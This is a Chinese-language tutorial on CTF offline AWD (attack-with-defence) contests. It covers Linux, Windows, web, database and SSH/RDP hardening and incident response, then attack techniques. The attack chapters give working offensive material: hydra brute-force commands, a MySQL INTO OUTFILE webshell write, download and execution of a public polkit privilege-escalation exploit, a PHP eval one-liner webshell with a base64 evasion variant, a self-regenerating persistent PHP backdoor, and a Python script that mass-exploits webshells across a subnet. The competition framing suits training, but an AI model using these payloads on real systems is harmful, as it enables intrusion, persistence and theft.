【CTF线下赛 AWD】AWD 比赛全维度实战解析:从加固防御到攻击拿旗

AWD 比赛全维度实战解析:从加固防御到攻击拿旗(附命令 / 脚本深度拆解)

第一章 AWD 比赛核心定义与赛制流程

1.1 AWD 核心定义

AWD(Attack With Defense,攻防兼备)是 CTF 线下赛的主流模式,核心逻辑是每支队伍拥有若干台配置相同的初始靶机(GameBox),比赛全程需完成两大核心动作:

  • 「防御侧」:快速发现并修补自身靶机漏洞,阻断对手攻击,防止 Flag 被窃取;

  • 「攻击侧」:挖掘对手靶机漏洞,利用漏洞获取 Flag 并提交得分;

    最终以 "防御得分 + 攻击得分 + 基础分" 综合排名,是对团队应急响应、漏洞挖掘、系统加固、内网渗透能力的全方位考验。

1.2 标准赛制流程

阶段 时长 核心动作 对抗重点
赛前准备 10-15 分钟 熟悉靶机环境、分发账号密码、搭建本地调试环境 快速梳理靶机架构(Web / 数据库 / 内网),明确分工(加固手 / 攻击手 / 监控手)
安全加固阶段 20-30 分钟 系统 / Web / 数据库 / 远程控制加固、日志监控部署 优先封堵高危漏洞(弱口令、未授权访问、命令执行),建立基础防御体系
自由攻击阶段 3-4 小时 信息搜集→漏洞利用→拿 Flag→提交得分;同时持续防御 攻防同步:一边加固自身防偷旗,一边批量攻击对手拿旗,控制攻击节奏

1.3 攻防核心逻辑

  • 防御优先:"不丢分比多得分更重要" ------ 初期加固不到位会被对手持续偷旗,后期难以追分;
  • 快速反击:加固完成后立即启动攻击,优先扫描同网段弱靶机,快速拿 Flag 建立分数优势;
  • 持续监控:全程监控靶机文件、进程、端口,及时发现对手植入的后门 / 不死马,避免被长期控机。

第二章 安全加固环节 - 命令 / 脚本解析

2.1 Linux 系统加固(核心命令)

2.1.1 口令修改:passwd
  • 核心用途:修改系统用户密码,封堵弱口令漏洞(AWD 中最易被利用的初始漏洞);

  • 适用系统:Linux;

  • 参数拆解:

    • passwd:核心命令(全称password),用于修改用户认证信息;
    • username:指定要修改的用户(如rootwwwmysql);
  • 执行效果:

    1. 执行后提示输入新密码(无回显),需输入两次确认;
    2. 密码修改成功后,对手无法通过弱口令爆破该用户;
  • 实战注意:

    • 必须设置 "强密码"(大小写 + 数字 + 特殊字符,长度≥8),避免被hydra快速爆破;
    • 重点修改rootwwwmysqlapache等高危用户,AWD 中靶机初始密码通常为弱口令(如123456password);
    • 风险:若忘记密码会导致自身无法登录,建议记录在团队私密文档中。
2.1.2 定时任务检查 / 清理:crontab -l/crontab -r
  • 核心用途:检查 / 删除恶意定时任务(对手常通过crontab植入不死马、反弹 Shell);

  • 适用系统:Linux;

  • 参数拆解:

    • crontab -l-l(list)列出当前用户的所有定时任务;
    • crontab -r-r(remove)删除当前用户的所有定时任务;
    • 扩展:crontab -u root -l-u指定查看root用户的定时任务;
  • 执行效果:

    • crontab -l:输出定时任务列表(如*/1 * * * * /tmp/backdoor.sh表示每分钟执行一次后门脚本);
    • crontab -r:清空当前用户定时任务,阻断对手的持久化攻击;
  • 实战注意:

    • 加固阶段必须先执行crontab -l检查,发现陌生任务立即删除;
    • 避免误删系统正常定时任务(如日志轮转),需甄别任务路径(/tmp//var/tmp下的任务大概率是恶意的);
    • 对抗点:对手可能将定时任务写入/etc/crontab(系统级),需额外检查该文件:cat /etc/crontab
2.1.3 目录 / 文件权限加固:chmod 0555
  • 核心用途:限制 Web 目录 / 数据库配置文件的写入权限,防止对手上传 webshell;

  • 适用系统:Linux;

  • 参数拆解:

    • chmod:全称change mode,修改文件 / 目录权限;
  • 0555:权限码(八进制),拆解为:

    • 第一位0:特殊权限位(无特殊权限);
    • 第二位5:所有者权限(r-x:读 + 执行,无写入);
    • 第三位5:所属组权限(r-x);
    • 第四位5:其他用户权限(r-x);
  • path:目标路径(如/var/www/html//etc/mysql/my.cnf);

  • 执行效果:

    • 目标目录 / 文件仅允许 "读 + 执行",任何用户(包括www)无法写入 / 修改文件;
    • 对手即使拿到 Web 权限,也无法上传 webshell 覆盖文件;
  • 实战注意:

    • 对比chown root:root chmod是 "权限控制"(能不能操作),chown是 "归属控制"(谁能操作),AWD 中需组合使用:chown root:root /var/www/html && chmod 0555 /var/www/html
    • 坑点:若 Web 应用需要写入权限(如上传目录),需单独划分并限制 IP,避免全局禁写导致应用崩溃;
    • 对抗点:对手可能通过提权(如www提权到root)修改权限,需配合iptables限制远程连接。
2.1.4 防火墙加固:iptables(核心命令集)
命令 核心用途 参数拆解 执行效果 实战注意
iptables -F 清空现有规则 -F(flush):清空所有链的规则 重置防火墙规则,避免默认规则放行高危端口 执行后需立即添加自定义规则,否则靶机完全暴露
iptables -P INPUT DROP 设置默认入站策略为拒绝 -P(policy):设置链的默认策略;INPUT:入站链;DROP:拒绝 所有未明确允许的端口 / IP 均无法访问靶机 必须先放行自身 IP 和必要端口(如 22/80),否则会断连
iptables -A INPUT -p tcp --dport 22 -s 自身IP -j ACCEPT 仅允许自身 IP 访问 SSH -A:添加规则;-p tcp:指定 TCP 协议;--dport 22:目标端口 22;-s 自身IP:源 IP;-j ACCEPT:允许 阻断对手爆破 SSH,仅团队可登录 需提前确认自身网段,避免误封自己
iptables -A INPUT -p tcp --dport 80 -j ACCEPT 放行 80 端口(Web 服务) --dport 80:目标端口 80 保证 Web 服务可访问(否则无法提交 Flag) 可限制 IP 段:-s 192.168.1.0/24,仅允许比赛网段访问

2.2 Windows 系统加固(核心命令)

2.2.1 445 端口加固:netsh advfirewall set allprofiles state on+netsh advfirewall firewall add rule name="Block 445" dir=in action=block protocol=TCP localport=445
  • 核心用途:关闭 445 端口(MS17-010 永恒之蓝漏洞利用端口),防止远程代码执行;

  • 适用系统:Windows;

  • 参数拆解:

    • netsh advfirewall set allprofiles state on:开启所有网络配置文件的防火墙;

      • advfirewall:高级防火墙;allprofiles:所有配置文件(域 / 私有 / 公共);state on:启用;
    • netsh advfirewall firewall add rule:添加防火墙规则;

      • name="Block 445":规则名称;dir=in:入站规则;action=block:阻断;protocol=TCP:TCP 协议;localport=445:本地端口 445;
  • 执行效果:445 端口被完全阻断,对手无法利用 MS17-010 漏洞攻击靶机;

  • 实战注意:

    • 需管理员权限执行(cmd右键 "以管理员身份运行");
    • 验证:netstat -ano | findstr "445",无输出则端口已关闭;
    • 对抗点:对手可能通过其他端口(如 139)或提权后重新开启 445,需定期检查。
2.2.2 账户权限限制:net user username /active:no
  • 核心用途:禁用多余 / 高危用户(如Guesttest),防止弱口令爆破;

  • 适用系统:Windows;

  • 参数拆解:

    • net user:管理系统用户;username:目标用户;/active:no:禁用该用户;
  • 执行效果:目标用户被禁用,无法登录系统 / 远程桌面;

  • 实战注意:

    • 禁止禁用Administrator(若需保留,需修改密码为强密码);
    • 验证:net user username ,查看 "账户启用" 状态为 "否";
    • 对抗点:对手提权后可能重新启用用户,需配合日志监控(eventvwr.msc查看登录日志)。

2.3 加固核心对抗逻辑

  • 防御侧:加固的核心是 "最小权限原则"------ 仅开放必要端口 / 用户 / 权限,阻断对手的初始攻击路径;
  • 攻击侧:对手会优先尝试 "绕过加固"(如修改iptables规则、提权后重置密码),因此加固后需定期复查(每 10 分钟检查权限 / 端口 / 定时任务)。

第三章 基本信息搜集 - 命令全解析

3.1 系统信息搜集

3.1.1 Linux:uname -a
  • 核心用途:获取系统内核版本(用于查找提权漏洞,如 CVE-2021-4034 polkit 提权);

  • 适用系统:Linux;

  • 参数拆解:

    • uname:全称unix name,显示系统信息;
    • -a(all):显示所有信息(内核版本、主机名、系统架构、编译时间);
  • 执行效果:输出示例:Linux gamebox 5.4.0-125-generic #141-Ubuntu SMP Wed Aug 10 13:42:03 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

  • 实战注意:

    • 重点关注内核版本(如5.4.0-125),快速匹配 EXP(如searchsploit linux 5.4);
    • AWD 中靶机内核通常存在已知提权漏洞,是攻击的核心突破口。
3.1.2 Windows:whoami /all
  • 核心用途:获取当前用户权限、SID、组信息(判断是否为管理员,能否提权);

  • 适用系统:Windows;

  • 参数拆解:

    • whoami:显示当前用户;/all:显示所有信息(权限、组、SID);
  • 执行效果:输出当前用户所属组(如Administrators表示管理员权限)、权限列表(如SeImpersonatePrivilege);

  • 实战注意:

    • 若显示NT AUTHORITY\SYSTEM,说明已拿到最高权限,可直接读取C:\flag
    • 若为普通用户,优先利用权限漏洞(如 SeImpersonatePrivilege 对应 JuicyPotato 提权)。

3.2 端口 / 服务搜集

3.2.1 Linux:netstat -tulnp
  • 核心用途:查看开放端口、对应服务及进程 PID(定位高危服务,如未授权的 MySQL/Redis);

  • 适用系统:Linux;

  • 参数拆解:

    • netstat:网络状态工具;
    • -t(tcp):显示 TCP 端口;-u(udp):显示 UDP 端口;-l(listening):仅显示监听端口;-n(numeric):显示端口号(而非服务名);-p(program):显示对应进程 PID / 名称;
  • 执行效果:输出示例:tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1234/apache2

  • 实战注意:

    • 重点关注0.0.0.0:*(监听所有 IP)的端口,如 3306(MySQL)、6379(Redis);
    • 对比 Windows 命令netstat -ano-o显示进程 PID,可配合tasklist | findstr 查找进程名。
3.2.2 批量扫描:nmap -sn 192.168.1.0/24
  • 核心用途:扫描比赛网段存活主机(快速定位可攻击的靶机);

  • 适用系统:Linux/Windows(需安装 nmap);

  • 参数拆解:

    • nmap:网络扫描工具;-sn(ping scan):仅 Ping 扫描,不扫描端口(快速);192.168.1.0/24:目标网段;
  • 执行效果:输出存活主机 IP(如192.168.1.10192.168.1.11);

  • 实战注意:

    • 扩展:nmap -sS -p- 目标IP-sS:SYN 扫描,隐蔽;-p-:扫描所有端口),定位开放的高危端口;
    • AWD 中需快速扫描存活主机,优先攻击 "响应慢 / 加固差" 的靶机。

3.3 Flag 快速查找

3.3.1 Linux:grep -r "flag" / --include={*.php,*.txt,*.conf} 2>/dev/null
  • 核心用途:递归查找系统中含 "flag" 关键词的文件(AWD 中 Flag 通常以flag{xxx}形式存储);

  • 适用系统:Linux;

  • 参数拆解:

    • grep:文本匹配工具;-r(recursive):递归查找;"flag":匹配关键词;/:根目录;
    • --include={*.php,*.txt,*.conf}:仅查找指定后缀文件(减少无关结果);
    • 2>/dev/null:重定向错误输出(忽略无权限访问的目录);
  • 执行效果:输出含 "flag" 的文件路径及内容片段;

  • 实战注意:

    • 优先查找/flag/var/www/html/flag.php/tmp/flag.txt等路径(AWD 常用 Flag 存储位置);
    • 对比 Windows 命令:findstr /s /i "flag" C:\*.*/s递归,/i忽略大小写)。

3.4 信息搜集实战技巧

  • 优先级:先扫存活主机→再查端口 / 服务→最后找 Flag,快速定位高价值靶机;
  • 效率:使用管道符简化输出,如grep -r "flag" / 2>/dev/null | grep -v "Permission denied",仅显示有效结果;
  • 对抗:对手可能隐藏 Flag(如加密、改后缀),需结合 Web 源码、数据库内容查找。

第四章 Web 安全加固 - 命令 / 脚本解析

4.1 源码备份与权限控制

4.1.1 源码备份:tar -zcvf web_backup.tar.gz /var/www/html/
  • 核心用途:加固前备份 Web 源码,防止误改导致应用崩溃;

  • 适用系统:Linux;

  • 参数拆解:

    • tar:打包工具;-z(gzip):压缩;-c(create):创建压缩包;-v(verbose):显示过程;-f(file):指定文件名;
    • web_backup.tar.gz:备份文件名;/var/www/html/:目标目录;
  • 执行效果:将 Web 目录打包压缩到当前目录,可通过tar -zxvf web_backup.tar.gz恢复;

  • 实战注意:

    • 备份后需将压缩包移至非 Web 目录(如/root/),防止对手下载源码分析漏洞;
    • Windows 备份命令:zip -r web_backup.zip C:\xampp\htdocs\(需安装 zip 工具)。
4.1.2 Web 权限组合加固
bash 复制代码
# 1. 修改Web目录归属为root,禁止www用户修改
chown -R root:root /var/www/html/
# 2. 仅允许root写入,其他用户只读执行
chmod -R 0555 /var/www/html/
# 3. 单独限制上传目录(若有)
chmod -R 0700 /var/www/html/upload/ && chown -R root:root /var/www/html/upload/
  • 核心用途:阻断对手通过 Web 权限上传 webshell;
  • 执行效果:www用户(Web 服务运行用户)无法修改 / 写入 Web 目录文件;
  • 对抗点:对手可能通过文件包含漏洞读取其他目录文件,需配合php.ini限制。

4.2 .htaccess 配置加固(Apache)

脚本内容
apache 复制代码
# 禁止访问指定后缀文件(如flag.php、webshell.php)
<FilesMatch "\.(php|php5|php7|flag)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

# 禁止执行PHP脚本的上传目录
<Directory "/var/www/html/upload/">
    php_flag engine off
    Options -ExecCGI
    AllowOverride None
</Directory>

# 限制IP访问后台
<Directory "/var/www/html/admin/">
    Order Deny,Allow
    Deny from all
    Allow from 自身IP
</Directory>
  • 脚本类型:Web 防御类;

  • 核心功能:阻断对手访问敏感文件、执行上传目录的 PHP 脚本、限制后台 IP;

  • 逐行解析:

    1. FilesMatch:匹配指定文件后缀,Deny from all禁止所有 IP 访问;
    2. Directory "/var/www/html/upload":针对上传目录,php_flag engine off关闭 PHP 解析,-ExecCGI禁止执行 CGI 脚本;
    3. Directory "/var/www/html/admin":仅允许自身 IP 访问后台,阻断对手未授权访问;
  • 使用方法:

    1. 将配置写入/var/www/html/.htaccess
    2. 确保 Apache 开启AllowOverride All(修改/etc/apache2/apache2.conf);
  • 适配修改:

    • 替换自身IP为团队 IP / 网段;
    • 添加更多敏感后缀(如.asp.jsp)适配不同 Web 语言;
  • 对抗思路:

    • 防御效果:对手即使上传 webshell,也无法执行 / 访问;
    • 对手绕过方式:修改.htaccess文件名、利用 Apache 解析漏洞(如webshell.php.xxx),需配合php.ini禁用解析漏洞。

4.3 php.ini 高危参数加固

核心修改项
ini 复制代码
# 禁用高危函数(命令执行/文件操作)
disable_functions = exec,system,passthru,shell_exec,popen,proc_open,eval,assert,file_put_contents,unlink

# 限制PHP访问目录(仅允许Web目录)
open_basedir = /var/www/html/:/tmp/

# 关闭错误输出(防止泄露路径/源码)
display_errors = Off

# 禁止远程文件包含
allow_url_include = Off
allow_url_fopen = Off
  • 核心功能:阻断 PHP 命令执行、文件包含、文件写入等高危操作;

  • 逐行解析:

    1. disable_functions:禁用可执行系统命令 / 写入文件的函数,是 AWD 中 PHP 加固的核心;
    2. open_basedir:限制 PHP 只能访问指定目录,防止对手读取/flag等敏感文件;
    3. display_errors:关闭错误输出,避免泄露数据库密码、文件路径;
    4. allow_url_include/allow_url_fopen:禁止远程包含,阻断php://inputhttp://等协议利用;
  • 使用方法:

    1. 修改/etc/php/7.4/apache2/php.ini(Apache)或/etc/php/7.4/cli/php.ini(CLI);
    2. 重启 Apache:systemctl restart apache2
  • 对抗思路:

    • 防御效果:90% 以上的 PHP webshell / 漏洞会被阻断;
    • 对手绕过方式:利用未禁用的函数(如pcntl_exec)、自定义函数绕过,需定期检查disable_functions

第五章 数据库安全加固 - 命令 / 脚本解析

5.1 MySQL 加固(核心命令)

5.1.1 修改 root 密码:mysql -uroot -p -e "ALTER USER 'root'@'localhost' IDENTIFIED BY '新强密码';"
  • 核心用途:封堵 MySQL root 弱口令,防止对手脱库 / 写入 webshell;

  • 适用系统:Linux/Windows;

  • 参数拆解:

    • mysql -uroot -p:以 root 登录 MySQL;-e:执行 SQL 语句;
    • ALTER USER 'root'@'localhost':修改本地 root 用户密码;IDENTIFIED BY '新强密码':设置新密码;
  • 执行效果:MySQL root 密码修改成功,对手无法通过弱口令登录;

  • 实战注意:

    • 限制 root 仅本地登录:DELETE FROM mysql.user WHERE user='root' AND host!='localhost';,删除远程 root 账户;
    • 验证:mysql -uroot -p新密码,能登录则修改成功。
5.1.2 日志审计开启:set global general_log = on; set global general_log_file = '/var/log/mysql/general.log';
  • 核心用途:记录所有 MySQL 操作,发现对手的脱库 / 写入操作;

  • 执行效果:MySQL 会记录所有 SQL 语句到/var/log/mysql/general.log

  • 实战注意:

    • 定期查看日志:tail -f /var/log/mysql/general.log,发现SELECT * FROM flagINTO OUTFILE等恶意语句;
    • 风险:日志文件会快速增大,需设置轮转(logrotate)。

5.2 数据库加固对抗逻辑

  • 防御侧:优先修改密码 + 限制远程登录,其次开启审计;
  • 攻击侧:对手可能通过 Web 应用的 SQL 注入漏洞访问数据库,需同时加固 Web 层(过滤 SQL 注入关键字)。

第六章 远程控制加固(SSH/RDP)

6.1 SSH 加固(Linux)

核心配置修改(/etc/ssh/sshd_config
ini 复制代码
# 禁用root远程登录
PermitRootLogin no

# 仅允许指定用户登录
AllowUsers teamuser

# 修改SSH端口(默认22→6666)
Port 6666

# 禁用密码登录,仅允许密钥登录(进阶)
PasswordAuthentication no
PubkeyAuthentication yes
  • 核心功能:阻断 SSH 暴力破解、限制登录用户 / 端口;

  • 执行效果:

    1. 对手无法通过 root 登录 SSH;
    2. 需扫描 6666 端口才能发现 SSH,增加攻击成本;
  • 实战注意:

    • 修改端口后需重启 SSH:systemctl restart sshd
    • 必须保留一个普通用户(如teamuser),并设置强密码;
    • 对抗点:对手可能通过端口扫描发现新端口,需配合iptables限制 IP。

6.2 RDP 加固(Windows)

核心命令
cmd 复制代码
# 1. 修改RDP端口(默认3389→3390)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3390 /f

# 2. 仅允许指定用户访问RDP
net localgroup "Remote Desktop Users" /add teamuser
net localgroup "Remote Desktop Users" Guest /delete

# 3. 重启远程桌面服务
net stop termservice && net start termservice
  • 核心功能:修改 RDP 端口、限制登录用户,防止暴力破解;

  • 实战注意:

    • 需管理员权限执行;
    • 验证:netstat -ano | findstr "3390",确认端口已修改;
    • 对抗点:对手可能通过 MS12-020 等 RDP 漏洞攻击,需安装补丁。

第七章 应急响应 - 命令 / 脚本解析

7.1 恶意进程查杀

7.1.1 Linux:ps aux | grep -v grep | grep "backdoor" | awk '{print $2}' | xargs kill -9
  • 核心用途:查找并查杀含 "backdoor" 关键词的恶意进程;

  • 参数拆解:

    • ps aux:显示所有进程;grep -v grep:排除 grep 自身进程;grep "backdoor":匹配恶意进程;
    • awk '{print $2}':提取进程 PID;xargs kill -9:强制查杀 PID;
  • 执行效果:批量查杀恶意进程,阻断对手的持久化控制;

  • 实战注意:

    • 替换 "backdoor" 为其他关键词(如bashpythonnc),查杀反弹 Shell 进程;
    • Windows 命令:tasklist | findstr "backdoor.exe" && taskkill /f /pid PID

7.2 WebShell 查找(Linux)

核心命令
bash 复制代码
# 查找含webshell特征的PHP文件
find /var/www/html/ -name "*.php" -exec grep -l "eval\|assert\|system\|base64_decode" {} \;

# 查找最近修改的文件(对手刚上传的webshell)
find /var/www/html/ -mtime -1 -type f  # -mtime -1:1小时内修改的文件
  • 核心用途:快速定位对手上传的 webshell;

  • 执行效果:输出含 webshell 特征的文件路径;

  • 实战注意:

    • 特征关键词需覆盖免杀 webshell(如$_POSTfile_get_contents);
    • 找到后立即删除:rm -rf webshell路径,并恢复备份。

7.3 应急响应核心逻辑

  • 快速止损:先查杀进程 / 删除 webshell→再封堵漏洞→最后溯源;
  • 避免扩大损失:禁止在被控制的靶机上执行未知命令,防止二次攻击;
  • 对抗:对手可能植入多个 webshell / 不死马,需结合文件监控脚本持续监控。

第八章 自由攻击环节 - 命令 / 脚本解析

8.1 弱口令爆破

8.1.1 SSH 爆破:hydra -L user.txt -P pass.txt -t 10 -vV 目标IP ssh
  • 核心用途:爆破 SSH 弱口令,获取靶机登录权限;

  • 适用系统:Linux/Windows(需安装 hydra);

  • 参数拆解:

    • hydra:暴力破解工具;-L user.txt:用户名字典;-P pass.txt:密码字典;
    • -t 10:并发数(避免被靶机防火墙拦截);-vV:详细输出;目标IP:靶机 IP;ssh:爆破协议;
  • 执行效果:输出成功的用户名 / 密码(如root:123456);

  • 实战注意:

    • 字典选择:优先使用 AWD 常用弱口令字典(如root/123456admin/admin);
    • 对抗点:对手可能限制 SSH IP / 开启防火墙,需快速爆破并立即登录。
8.1.2 MySQL 爆破:hydra -L user.txt -P pass.txt -t 5 目标IP mysql
  • 核心用途:爆破 MySQL 弱口令,写入 webshell / 读取 Flag;
  • 执行效果:输出 MySQL 用户名 / 密码,可通过mysql -u root -p密码 -h 目标IP登录;
  • 实战注意:登录后优先执行SELECT @@datadir,查找数据库路径,尝试写入 webshell:SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/webshell.php';

8.2 漏洞利用(以 CVE-2021-4034 polkit 提权为例)

利用命令
bash 复制代码
# 1. 下载EXP
wget https://github.com/berdav/CVE-2021-4034/raw/main/cve-2021-4034-poc.c
# 2. 编译
gcc cve-2021-4034-poc.c -o poc
# 3. 执行提权
./poc
# 4. 提权成功后读取Flag
cat /flag
  • 核心用途:利用 Linux 内核漏洞提权到 root,读取 Flag;

  • 实战注意:

    • 需匹配靶机内核版本(如 Ubuntu 20.04/22.04);
    • 执行后若出现#提示符,说明提权成功,立即读取 Flag 并提交。

8.3 WebShell 上传与利用

PHP 一句话木马:<?php @eval($_POST['cmd']);?>
  • 核心用途:上传到靶机 Web 目录,通过蚁剑 / 菜刀连接执行命令;

  • 使用方法:

    1. 通过文件上传漏洞将木马命名为webshell.php上传到/var/www/html/upload/
    2. 蚁剑添加数据:URL 为http://目标IP/upload/webshell.php,密码cmd
    3. 执行命令:cat /flag,获取 Flag;
  • 对抗思路:

    • 隐蔽操作:将木马命名为logo.png.php(利用解析漏洞),避免被对手监控脚本发现;
    • 免杀技巧:使用 base64 编码绕过检测:<?php eval(base64_decode('ZXZhbCgkX1BPU1RbY21kXSk7'));?>

第九章 内网渗透 - 命令 / 脚本解析

9.1 不死马脚本(PHP)

脚本内容
php 复制代码
<?php
// 不死马核心:忽略连接关闭+无限循环生成自身
ignore_user_abort(true); // 忽略客户端断开连接
set_time_limit(0);       // 取消执行时间限制
$self = __FILE__;        // 当前文件路径
$content = file_get_contents($self); // 读取自身代码

while (true) {
    // 每10秒检查并重建自身
    if (!file_exists($self)) {
        file_put_contents($self, $content);
        chmod($self, 0777);
    }
    // 生成备份后门
    $backup = '/var/www/html/backup_' . rand(1000,9999) . '.php';
    if (!file_exists($backup)) {
        file_put_contents($backup, $content);
    }
    sleep(10);
}
?>
  • 脚本类型:攻击 / 持久化类;

  • 核心功能:植入靶机后无法被删除(删除后自动重建),实现长期控制;

  • 逐行解析:

    1. ignore_user_abort(true):即使对手关闭连接,脚本仍在后台运行;
    2. set_time_limit(0):脚本无限运行,不超时;
    3. while (true):无限循环,每 10 秒检查自身是否存在,不存在则重建;
    4. $backup:生成随机命名的备份后门,增加删除难度;
  • 使用方法:

    1. 通过文件上传 / 数据库写入将脚本上传到/var/www/html/
    2. 访问一次脚本(http://目标IP/不死马.php),触发后台运行;
  • 适配修改:

    • 替换/var/www/html/为靶机 Web 目录;
    • 修改sleep(10)sleep(5),加快重建频率;
  • 对抗思路:

    • 攻击效果:对手删除脚本后会自动重建,持续控制靶机;
    • 防御侧对抗:查杀脚本进程(ps aux | grep php)+ 删除所有备份文件 + 重启 Apache。

9.2 批量 getflag 脚本(Python)

脚本内容
python 复制代码
import requests
import threading
import time

# 比赛网段
TARGET_NET = "192.168.1."
# Flag提交接口(根据比赛要求修改)
SUBMIT_URL = "http://scoreboard.ctf.com/submit"
# 线程数(避免被封)
THREAD_NUM = 5

# 获取Flag的函数
def get_flag(ip):
    try:
        # 假设通过Web漏洞获取Flag
        url = f"http://{ip}/webshell.php"
        data = {"cmd": "cat /flag"}
        res = requests.post(url, data=data, timeout=3)
        if "flag{" in res.text:
            flag = res.text.split("flag{")[1].split("}")[0]
            flag = f"flag{{{flag}}}"
            # 提交Flag
            submit_flag(flag)
            print(f"[+] {ip} 获取Flag成功:{flag}")
        else:
            print(f"[-] {ip} 未获取到Flag")
    except Exception as e:
        print(f"[-] {ip} 访问失败:{e}")

# 提交Flag的函数
def submit_flag(flag):
    try:
        data = {"team": "your_team", "flag": flag}
        requests.post(SUBMIT_URL, data=data, timeout=5)
    except:
        pass

# 多线程扫描网段
def scan_net():
    threads = []
    for i in range(1, 255):
        ip = TARGET_NET + str(i)
        t = threading.Thread(target=get_flag, args=(ip,))
        threads.append(t)
        t.start()
        # 控制线程数
        if len(threads) >= THREAD_NUM:
            for t in threads:
                t.join()
            threads = []

if __name__ == "__main__":
    scan_net()
  • 脚本类型:攻击 / 自动化类;

  • 核心功能:批量扫描比赛网段,利用 Webshell 获取 Flag 并自动提交;

  • 逐行解析:

    1. TARGET_NET:比赛网段,需根据实际修改;
    2. SUBMIT_URL:Flag 提交接口,由比赛主办方提供;
    3. get_flag(ip):向每个 IP 的 webshell 发送cat /flag命令,提取 Flag;
    4. submit_flag(flag):自动提交 Flag 到计分板,节省手动提交时间;
    5. scan_net():多线程扫描网段,提高效率;
  • 使用方法:

    1. 修改TARGET_NETSUBMIT_URLyour_team为实际信息;
    2. 执行脚本:python3 getflag.py
  • 适配修改:

    • 替换webshell.phpcmd为实际的 webshell 路径 / 密码;
    • 增加代理池,避免 IP 被封;
  • 对抗思路:

    • 攻击效果:自动批量拿 Flag,大幅提升得分效率;
    • 防御侧对抗:加固 Web 漏洞、监控 POST 请求、拉黑攻击 IP。

第十章 AWD 实战核心技巧与获奖策略

10.1 命令 / 脚本使用优先级

防御侧(加固阶段)
  1. 高优先级:修改所有弱口令(系统 / 数据库 / SSH)→ 关闭高危端口(445/3389 默认)→ 配置iptables/ 防火墙;
  2. 中优先级:Web 权限加固→php.ini禁用高危函数→ 部署文件监控脚本;
  3. 低优先级:日志审计→ 备份源码→ 隐藏 Flag 路径。
攻击侧(攻击阶段)
  1. 高优先级:网段扫描→ 弱口令爆破(SSH/MySQL)→ 简单 Web 漏洞利用(文件上传 / SQL 注入);
  2. 中优先级:提权漏洞利用→ 植入不死马→ 批量 getflag;
  3. 低优先级:内网横向移动→ 溯源对手 IP。

10.2 线下 AWD 关键

10.2.1 团队分工(3-5 人最佳)
  • 加固手(1-2 人):负责靶机加固、应急响应、监控;

  • 攻击手(1-2 人):负责信息搜集、漏洞利用、拿 Flag;

    核心:分工明确,避免重复操作(如多人同时修改密码导致冲突)。

10.2.2 时间管理
  • 加固阶段(30 分钟):前 10 分钟修改弱口令 + 关闭高危端口,中 10 分钟 Web / 数据库加固,后 10 分钟部署监控脚本;
  • 攻击阶段:前 1 小时批量扫弱靶机拿基础分,中 2 小时利用提权漏洞拿高分,最后 1 小时防御反击 + 补全 Flag。
10.2.3 风险控制
  • 禁止在自身靶机上运行未知 EXP,防止触发后门;
  • 攻击时避免 "一刀切"(如批量删除对手文件),可能被裁判判违规;
  • 定期备份靶机配置,防止加固失误导致应用崩溃。

10.3 常见坑点与避坑指南

坑点 避坑方法
加固时误封自身 IP 先放行自身 IP 再设置iptables默认拒绝
上传的 webshell 被对手监控脚本删除 使用免杀马 + 随机命名 + 备份多个副本
Flag 提交超时 / 重复提交 脚本添加去重逻辑 + 重试机制
提权 EXP 执行失败 提前测试 EXP 适配性,准备多个版本
不死马被对手查杀 隐藏进程(nohup php 不死马.php &)+ 修改脚本特征

10.4 核心对抗策略

  • 防御:"最小权限 + 持续监控",让对手无漏洞可钻;
  • 攻击:"快速拿旗 + 隐蔽持久化",在对手加固前拿到足够分数;
  • 心态:不追求 "全拿 Flag",重点保证自身不丢分,稳步积累优势。

总结

AWD 比赛的核心是 "攻防平衡"------ 防御是基础,攻击是加分项,而命令 / 脚本的熟练使用是效率的关键。想要获奖,需做到:

  1. 赛前熟练掌握所有核心命令 / 脚本,形成 "加固 / 攻击模板";
  2. 赛中快速分工,优先封堵高危漏洞,再批量攻击弱靶机;
  3. 全程监控靶机状态,及时发现并反击对手的攻击;
  4. 灵活调整策略,根据比分情况(领先 / 落后)切换攻防重心。

通过系统化的加固、高效的攻击、默契的团队配合,即使是新手团队也能在 AWD 比赛中取得优异成绩。

相关推荐
AsDuang1 小时前
Python 3.12 MagicMethods - 45 - __rpow__
开发语言·python
liuyao_xianhui1 小时前
动态规划_简单多dp问题_打家劫舍_打家劫舍2_C++
java·开发语言·c++·算法·动态规划
王伟19821 小时前
圆周率的历史发展与国际圆周率日
算法·圆周率
程序员夏末1 小时前
【LeetCode | 第五篇】算法笔记
笔记·学习·算法·leetcode
所谓伊人,在水一方3332 小时前
【机器学习精通】第1章 | 机器学习数学基础:从线性代数到概率统计
人工智能·python·线性代数·机器学习·信息可视化
AsDuang2 小时前
Python 3.12 MagicMethods - 48 - __rmatmul__
开发语言·python
啊哈哈121382 小时前
从零构建 Multi-Agent 系统:SQLAgent + RAGAgent + 智能路由实战
人工智能·python
小云小白2 小时前
OpenCowork 实测:支持本地文件、飞书机器人的 Windows AI 助手(只需配置 Token)
windows·ai助手·oepncowork
墨染天姬2 小时前
【AI】PyTorch/TF 也会变成考古?
人工智能·pytorch·python